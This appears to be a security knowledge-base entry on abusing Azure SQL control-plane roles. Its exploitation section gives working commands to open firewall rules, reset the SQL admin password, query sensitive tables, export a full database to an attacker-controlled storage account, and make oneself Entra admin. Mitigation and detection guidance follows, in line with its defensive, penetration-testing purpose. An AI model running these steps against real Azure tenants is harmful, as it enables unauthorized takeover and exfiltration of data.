Summary
| Forestall ACL Alias | AZ_SQL_ACCESS |
| Azure Alias | Azure SQL Management Access |
| Affected Object Types | Azure SQL Servers / Databases |
| Exploitation Certainty | Certain |
| Severity | High |
| Azure RBAC Roles | Owner (8e3af657-a8ff-443c-a75c-2fe8c4bcb635), Contributor (b24988ac-6180-42a0-ab88-20f7382dd24c), SQL Server Contributor (6d8ee4ec-f05a-4a1d-8b00-a9b17e38b437), SQL DB Contributor (9b7fa17d-e63e-47b0-bb0a-15c516ac86ec) |
Custom Role Actions:
Microsoft.Sql/servers/databases/*
Description
AZ_SQL_ACCESS is control-plane management access to Azure SQL servers and databases. It is not a database login by itself, but it lets a principal reset the SQL admin password, change firewall exposure, export databases, and set the Entra administrator — each a path to the data the databases hold.
Where the assignment includes Microsoft.Sql/servers/administrators/write, it chains into AZ_SQL_ADMIN by setting the server’s Entra administrator.
Identification
PowerShell (Az Module)
Connect-AzAccount
Get-AzRoleAssignment | Where-Object { $_.RoleDefinitionName -in @( "Owner", "Contributor", "SQL Server Contributor", "SQL DB Contributor" ) -and $_.Scope -match "/Microsoft.Sql/" } | Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope | Sort-Object Scope, RoleDefinitionName | Format-Table -AutoSizeAzure Portal
- Open Azure Portal -> target SQL server or SQL database.
- Go to Access control (IAM) -> Role assignments.
- Review Owner, Contributor, SQL Server Contributor, SQL DB Contributor, and custom roles with
Microsoft.Sql/servers/databases/*. - Check inherited assignments at resource group, subscription, and management group scopes.
Exploitation
These examples are for authorized testing only. Replace <SubId>, <RGName>, <ServerName>, <DatabaseName>, and the identifiers with your own values.
Control-plane access is not a database login, but it exposes three paths to the data plane, in rough order of directness:
| Path | Required ARM action | Granted by | Result |
|---|---|---|---|
| Reset the SQL admin password | Microsoft.Sql/servers/write |
Owner, Contributor, SQL Server Contributor | Log in as the built-in server admin (if SQL auth is enabled) |
| Export the database (BACPAC) | Microsoft.Sql/servers/databases/export/action |
Owner, Contributor, SQL Server Contributor, SQL DB Contributor | Offline copy of the data in your own storage account |
| Set the Entra administrator | Microsoft.Sql/servers/administrators/write |
Owner, Contributor | sysadmin-equivalent via your own Entra token, even if SQL auth is off |
All three require network reachability (Step 1); the password-reset path also requires SQL authentication to be enabled (azureADOnlyAuthentication == false).
Step 0: Enumerate servers, databases, and security posture
Connect-AzAccount# Optional: Set-AzContext -Subscription "<SubId>"
Get-AzSqlServer | ForEach-Object { $server = $_ $admin = Get-AzSqlServerActiveDirectoryAdministrator -ResourceGroupName $server.ResourceGroupName -ServerName $server.ServerName -ErrorAction SilentlyContinue
Get-AzSqlDatabase -ResourceGroupName $server.ResourceGroupName -ServerName $server.ServerName | Where-Object { $_.DatabaseName -ne 'master' } | Select-Object ` @{N="Server";E={$server.ServerName}}, ` @{N="Fqdn";E={$server.FullyQualifiedDomainName}}, ` @{N="SqlAdminLogin";E={$server.SqlAdministratorLogin}}, ` @{N="EntraAdmin";E={$server.Administrators.Login}}, ` @{N="EntraOnlyAuth";E={(Get-AzSqlServer -ResourceGroupName $server.ResourceGroupName -ServerName $server.ServerName).PublicNetworkAccess}}, ` DatabaseName, Status, Edition}Step 1: Open the network path
You must reach the server even with valid credentials. Control-plane access lets you add a firewall rule (or widen PublicNetworkAccess).
# Allow your current public IPMYIP=$(curl -s https://api.ipify.org)az sql server firewall-rule create \ --resource-group "<RGName>" \ --server "<ServerName>" \ --name "temporary-test-access" \ --start-ip-address "$MYIP" \ --end-ip-address "$MYIP"
# (Broad) "Allow Azure services and resources to access this server" - start/end 0.0.0.0.# Very noisy and broad; prefer a single-IP rule for authorized testing.az sql server firewall-rule create \ --resource-group "<RGName>" --server "<ServerName>" \ --name "AllowAllAzureIPs" --start-ip-address 0.0.0.0 --end-ip-address 0.0.0.0Record any firewall rules you add and remove them when finished.
Step 2: Reset the SQL administrator password (control-plane -> SQL login)
Microsoft.Sql/servers/write overwrites the built-in SQL admin password without knowing the current one — the most direct pivot to the data plane, with no need to touch the Entra admin. It works only while SQL authentication is enabled (azureADOnlyAuthentication == false). Owner, Contributor, and SQL Server Contributor grant it; SQL DB Contributor does not.
Azure CLI
# The admin login name was captured in Step 0 (SqlAdministratorLogin), e.g. "sqladmin"az sql server update \ --resource-group "<RGName>" \ --name "<ServerName>" \ --admin-password 'N3w-Str0ng-P@ssw0rd!'PowerShell
$pw = ConvertTo-SecureString 'N3w-Str0ng-P@ssw0rd!' -AsPlainText -ForceSet-AzSqlServer -ResourceGroupName "<RGName>" -ServerName "<ServerName>" -SqlAdministratorPassword $pwReset the SQL administrator password with Set-AzSqlServer
Authenticate as the server admin — a member of dbmanager/loginmanager on master, effectively owning every database on the server:
sqlcmd -S "<ServerName>.database.windows.net" -d master \ -U "<SqlAdminLogin>" -P 'N3w-Str0ng-P@ssw0rd!' \ -Q "SELECT name, state_desc FROM sys.databases;"Authenticate as the reset SQL admin and list databases with sqlcmd
Step 3: Connect and extract data
Import-Module SqlServer
$cred = New-Object System.Management.Automation.PSCredential( "<SqlAdminLogin>", (ConvertTo-SecureString 'N3w-Str0ng-P@ssw0rd!' -AsPlainText -Force))
# Enumerate every database on the serverInvoke-Sqlcmd -ServerInstance "<ServerName>.database.windows.net" -Database "master" ` -Credential $cred -Query "SELECT name FROM sys.databases WHERE database_id > 4;"
# Map the schema of a target database, then pull rowsInvoke-Sqlcmd -ServerInstance "<ServerName>.database.windows.net" -Database "<DatabaseName>" ` -Credential $cred -Query @"SELECT s.name AS [schema], t.name AS [table]FROM sys.tables t JOIN sys.schemas s ON t.schema_id = s.schema_idORDER BY 1,2;"@
Invoke-Sqlcmd -ServerInstance "<ServerName>.database.windows.net" -Database "<DatabaseName>" ` -Credential $cred -Query "SELECT TOP 100 * FROM [dbo].[SensitiveTable];"Enumerate databases and map a target schema with the SQL admin credentials
Step 4: Bulk exfiltration via database export (BACPAC)
export/action writes a full, portable copy of a database to a storage account you control — no interactive SQL session or large query stream. It is available to SQL DB Contributor as well as the broader roles, and authenticates with the SQL admin credentials from Step 2 (or an Entra admin token).
# BACPAC lands in an attacker-controlled storage account/containeraz sql db export \ --resource-group "<RGName>" \ --server "<ServerName>" \ --name "<DatabaseName>" \ --admin-user "<SqlAdminLogin>" \ --admin-password 'N3w-Str0ng-P@ssw0rd!' \ --storage-key-type StorageAccessKey \ --storage-key "<AttackerStorageKey>" \ --storage-uri "https://<attackerstorage>.blob.core.windows.net/dump/<DatabaseName>.bacpac"Download and open the BACPAC offline (a zip of schema plus BCP data), or import it into your own SQL instance for unrestricted querying.
Step 5: Chain to Microsoft Entra admin for full takeover
Microsoft.Sql/servers/administrators/write lets you set yourself as the server’s Entra administrator, gaining sysadmin-equivalent rights over every database via your own Entra token — even if SQL authentication is disabled. Owner and Contributor both hold this action, so a principal with either role can assign itself as SQL Entra admin without any additional grant. This is the strongest path; the dedicated edge is AZ_BECOME_SQL_ADMIN and the resulting state is AZ_SQL_ADMIN.
# Current Entra admin (empty output = none set yet)az sql server ad-admin list --resource-group "<RGName>" --server-name "<ServerName>" -o table
# Set yourself (overwrites any existing admin - record the original first)az sql server ad-admin create \ --resource-group "<RGName>" --server-name "<ServerName>" \ --display-name "pwned-admin" --object-id "$(az ad signed-in-user show --query id -o tsv)"Mitigation
- Separate SQL management from SQL data access and grant each only to identities that require it.
- Limit SQL Server Contributor and SQL DB Contributor to narrow resource scopes.
- Use PIM for temporary SQL management access instead of standing assignments.
- Restrict firewall changes with Azure Policy and require private endpoints for sensitive databases.
- Protect the Entra admin path by monitoring and tightly controlling
Microsoft.Sql/servers/administrators/write. - Enable auditing and Defender for SQL so control-plane changes and database activity are centrally visible.
Detection
Use the Azure Portal:
- Open Azure Portal -> target SQL server -> Activity log.
- Filter for
Microsoft.Sql/servers/write(Create/Update Server — captures admin-password resets),Microsoft.Sql/servers/firewallRules/write,Microsoft.Sql/servers/administrators/write,Microsoft.Sql/servers/databases/export/action, auditing/Defender policy changes, andMicrosoft.Sql/servers/databases/*. - Review Event initiated by, Timestamp, Resource, Status, and Caller IP address. Treat an admin-password reset or a database export to an unfamiliar storage account as high severity.
- Open Microsoft Entra ID -> Sign-in logs and review sign-ins for principals making SQL management changes.
- Alert on new SQL management role assignments and on SQL firewall rules that broaden access.